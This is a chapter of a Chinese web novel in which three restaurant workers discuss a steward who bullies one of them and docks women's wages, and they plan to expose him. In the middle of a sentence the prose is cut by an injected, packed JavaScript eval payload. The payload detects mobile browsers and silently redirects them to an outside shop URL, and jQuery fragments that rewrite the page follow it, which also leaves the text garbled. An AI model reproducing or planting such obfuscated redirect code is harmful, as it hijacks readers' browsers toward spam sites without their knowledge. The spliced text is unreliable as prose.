夜里，亥时的梆子刚刚敲过，苗蓁拖着沉重的步子回到小院。


    一点昏黄的灯光从纸窗格里透出来。


    奇怪，巧珍和金穗还没有睡吗？苗蓁有些许意外，接着带着疑惑推开了门。


    进门之后，只见金穗背对门口坐着的背影。


    苗蓁没多想，顺手将手上的东西放门口，却忽然听到她开口：


    “你今天又是被派去干什么了，弄到这个时辰才回来？”


    苗蓁怔了一瞬，走近几步，“怎么……吵到你了？可你不是没睡吗？”


    她觉得有些异样，平日里她回来时，两个人要么已经熄灯歇下，要么也是各自做事，很少像是这般……仿佛专门在等着她，还带着一股说不清道不明的火气。


    金穗忽然起身，快步走过来，盯着她的手，冷冷道：“你看看你自己的手。”


    苗蓁有些无措，只好抬手看了看。这几日，手泡在水里久了，几处之前被磕碰的地方一直好不了，指节发肿。确实不太好看，可是干他们这行的，谁手上没点痕迹，她早都习惯了，实在不明白金穗是什么意思。


    金穗见她待在原地，一副不明所以的样子，恨铁不成钢地说：“你不是田管事招进来的人吗?怎么就怂成这样，任人欺负？！我要是你，早就跑到田管事跟前哭去了，还用得着这受这窝囊气！”


    她在关心自己？！


    金穗的话表面听着是责备，但细想不难听得出，这是在为她打抱不平。


    苗蓁彻底呆住，看着对面金穗生气的样子，竟有些想笑。


    她嘴角扯了扯，半天才吞吞吐吐道：“我、我这不是没事嘛。”


    她又围着金穗转了半圈，仔细观察她的神色，又说：“你等到这么晚，就是为了和我说这个？？”


    金穗被她转圈观察的动作和神色中的喜意弄得有些无语，眉头蹙得更紧，抱着胳膊转过身去，撇开话题道：“你、你到底是不是关系户啊？”


    “我当然不是了，要不然能被他们欺负成这样？！”苗蓁顺着她的话，语气轻松了些。


    空气陷入短暂的安静。


    苗蓁又问：“巧珍呢？”


    金穗坐下来，不情不愿地回答，“给你去找药了。”


    “哦~”苗蓁低声应答了一声，心里抑制不住的暖意正甜丝丝地冒出来。


    话音刚落，顾巧珍带着一身夜间的凉气走了进来，手里拿了东西。


    “哟，回来得挺早嘛。”


    现在这个事件，哪里还和“早”沾边？又是一个阴阳怪气的。


    苗蓁不好意思地挠挠头，迎了上去，“金穗已经和我说了，多谢你为我跑一趟。”


    顾巧珍拂了拂身上，把手上东西递给她，“快用上吧，刚配出来药效最好的。”


    苗蓁点点头，说着就开始就着灯火，小心地给自己红肿的手涂上药。


    手上虽然有刺痛的感觉传来，可是这灯火似乎格外温馨，心里倒是一点酸楚的感觉都没有了。


    “你们……是怎么知道我今日晚回来的，还，特意给我去买药。”


    “我瞧见的。今日本该是申大娘来送菜，结果却是你灰头土脸地拖着过去。我随便拉个人一问就知道了。”她终于转过身来，眼神复杂地盯着苗蓁，“你可真能耐，自身难保还想着给别人行方便。”


    苗蓁只是苦笑，“我这不是……看申大娘不容易，帮帮她嘛。”


    “要你帮！你个泥菩萨……”


    “金穗。”顾巧珍轻斥了她一声。


    金穗收起话中的火气，放平了声音，“申大娘，确实是个好人，周娘子怎么连她都欺负？真是不仗义。”


    苗蓁玩笑般接话，“你的意思是说，她欺负我，所以我就不是好人了？”


    金穗又无语了，“我帮你说话你还这样，真是不知道说你什么。不过……你先和我说，你为什么不去找田管事？”


    苗蓁笑了笑，接着脸色却又恢复凝重，“正是因为我是田管事招进来的，我才不能去找他。他们费尽心思地折磨我，或许就是等着看我被逼急了，去找田管事撑腰。”


    屋内陷入诡异的沉默。


    顾巧珍在屋内踱步，思索着，忽然道：“你这样想是对的。不过……这件事怕是没那么简单。”


    苗蓁闻言，眼睛蓦然一亮，这几日，她一个人冥思苦想，此刻终于遇上一个能与她讨论此事的人，一时激动不已，


    “巧珍，你是不是……知道些什么？我这几日冥思苦想，却也始终想不明白，他们为何要针对我。纵然我是田管事招进来的，到底也只是个杂工，我总觉得，这一切背后……另有缘故。”


    顾巧珍抬眼看了看紧闭的房门，确认夜阑人静，才对二人轻声说道：“前几日，老东家身边一位得力的亲信从应天过来。东家亲自吩咐要开一坛窖藏的好酒款待。酒是我去地窖里取的，送进去时，听到些消息……”


    “老东家？是现在东家的父亲？”苗蓁问道。


    顾巧珍嘴角含笑，摇了摇头，“是母亲。”


    苗蓁愣了一下，揽月楼的老东家原来是个女人。


    顾巧珍开始和苗蓁讲了揽月楼及其创始人早年的事情。


    陶筑，揽月楼创始人。她本是苦出身，年轻时，凭借一手绝顶厨艺，名动江南。从一间小食铺做起，慢慢盘下店面，创下了揽月楼的招牌。几十年来，不仅将酒楼在多地开了分号，连带着自家的田庄、酱坊、菜场……都经营得风生水起。这些年，因为年纪大了，精力不济，到应天府修养，开始将手下的产业慢慢交给两个儿子打理。


    揽月楼现在的掌舵人正是她的二儿子，陶柏青。


    “前几日我去送酒时，他们那间雅间门未关严实，我候在门外，隐约听见几句……”


    金穗忍不住催促，“听见什么了？”


    “那老管事，对二少爷说，老东家的意思，酒楼的根基还是在老人，用生不如用熟。该留还得留，别让人寒了心，伤了揽月楼的元气。”


    她顿了顿，又说：“他们说了不久之后，就把蒋掌柜、田管事和陈管事都叫去了。”


    金穗听得有些绕，“这些……和苗蓁被欺负有什么关系？”


    “关系大了，”顾巧珍看向金穗，“老东家发话要‘留用老人’，蒋掌柜再不愿意，面上也得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144013|195485||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    做出些姿态。我留意到，这几日，蒋掌柜对田管事的态度，着实是和缓了不少，有些原先田管事管着的事，也慢慢还回去了。”


    苗蓁凝神听着，脑中的思路却渐渐清晰起来，她接过话：“所以，蒋掌柜因为老东家的压力，不得不对田管事客气些。但是曾管事当初能得势，恐怕少不了他帮着蒋掌柜打压这些老人的原因。如今风向忽变，他最怕的，恐怕就是自己成了蒋掌柜的‘弃子’，甚至……会被秋后算账。”


    “一点没错。”顾巧珍颔首，“所以他现在找你麻烦，就是在投石问路。把你逼急了，去找田管事哭诉一番。到时候闹到蒋掌柜面前，若是宽恕了你，他日后就会收敛。可若是蒋掌柜借题发挥，说‘老人荐来的人，就是这般不堪重用、爱生事端’，那他那便可以，把原本缓和的关系搞僵了。”


    “原来是这样，”金穗也渐渐反应过来，“这几日我看蒋掌柜对田管事属实客气了不少。哦……原来是这么回事。”


    三人把这想法理顺，都舒畅不少，纷纷松了口气。


    可这口气没松多久，金穗忽然一拳锤在桌面上，心中的火气仿佛都窜了上来，“就算知道曾管事在耍心机又如何？难道你就任由这等阴险小人继续欺压你？再说了，他平日里就……”


    顾巧珍听着金穗的话，“怎么，听起来你倒是挺讨厌他。”


    “哼！曾管事这人，上任不过三年，便把这楼里处处都当做自己家产一般，管起来那叫一个神气。从前楼里采买香料，若有富余，管事都是默许我们拿些边角料，本就是不成文的规矩。做些胭脂香囊什么的。之前的管事还说，我们这些丫头体面，也是酒楼的脸面。”


    她越说越急，“可他一上来，就借故克扣，说我们平日拿了这些料，省去了买胭脂水粉的钱，就得扣工钱，后面，我们都没人敢拿了。只是……那剩余的香料，是不是他拿的谁又知道？”


    “他这是变相的苛待女工，受害者远不止你一人。”苗蓁轻声道。


    “之前申大娘同我说，楼里但凡女子，工钱总要莫名其妙少一截。像申大娘这种有家室要照料的，总以女人顾家，耽误些功夫为由，扣掉些钱。”


    她把那日发工钱时与申大娘的对话细细说了。


    “难怪我的工钱每月都对不上数！我去问，他就板着脸说，我私用香料，扣钱是应当——我还真当是自己理亏！”她胸口起伏，显然气得不轻。


    顾巧珍脸上也没什么表情，只淡淡道：“他手伸得长，又欺软怕硬，专挑没倚仗的拿捏。”


    “那……咱们能怎么样？”金穗看看苗蓁，又看看顾巧珍。


    苗蓁思考片刻，抬眼问道：“巧珍，你刚才说老东家来信，是为了敲打二少爷，让他留用老人。这是不是说明，至少老东家是不满意现在楼内的某些规矩的，对吧？”


    “可以这么说。”


    “那如果我们，把曾管事这些欺上瞒下、苛待雇工甚至是贪墨的实证，想办法递上去呢？不必经过蒋掌柜，或者是把事情闹大，闹到他不得不处置的时候。”


    金穗先是一愣，随即倒吸一口凉气：“你，你的意思是……扳倒他？”